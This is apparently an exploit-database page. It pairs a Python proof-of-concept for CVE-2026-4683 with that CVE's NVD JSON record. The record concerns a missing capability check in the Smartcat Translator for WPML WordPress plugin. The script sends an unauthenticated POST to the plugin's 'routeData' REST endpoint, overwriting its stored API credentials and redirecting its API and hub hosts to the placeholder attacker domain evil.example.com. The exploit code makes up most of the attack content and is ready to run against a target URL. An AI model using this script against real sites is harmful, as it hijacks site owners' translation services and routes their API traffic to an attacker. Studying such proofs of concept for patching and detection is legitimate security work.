CVE-2026-4683

import requests def exploit_poc(target_url): """ PoC for CVE-2026-4683: Unauthenticated credential overwrite via REST API. """ # The vulnerable endpoint path (may vary based on plugin registration) endpoint = f"{target_url}/wp-json/smartcat-wpml/v1/routeData" # Malicious payload to overwrite existing credentials malicious_data = { "account_id": "hacked_account_id", "api_secret": "hacked_api_secret", "hub_key": "hacked_hub_key", "api_host": "evil.example.com", "hub_host": "evil.example.com" } try: # Send POST request without authentication headers response = requests.post(endpoint, json=malicious_data, timeout=10) if response.status_code == 200: print("[+] Potential success: Server responded with 200 OK.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <http://target-site>") else: exploit_poc(sys.argv[1])

{"cve": {"id": "CVE-2026-4683", "sourceIdentifier": "[email protected]", "published": "2026-05-15T09:16:16.487", "lastModified": "2026-05-15T14:09:15.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Smartcat Translator for WPML plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'routeData' REST endpoint in all versions up to, and including, 3.1.77. This makes it possible for unauthenticated attackers to overwrite the plugin's Smartcat API credentials (account ID, API secret key, hub key, API host, and hub host), effectively hijacking the translation service or causing a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/smartcat-wpml/trunk/includes/Controllers/CallbackController.php#L10", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/smartcat-wpml/trunk/includes/Services/Plugin/Router.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3524382/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6a9397ed-eddf-466b-b810-1e2f45afd291?source=cve", "source": "[email protected]"}]}}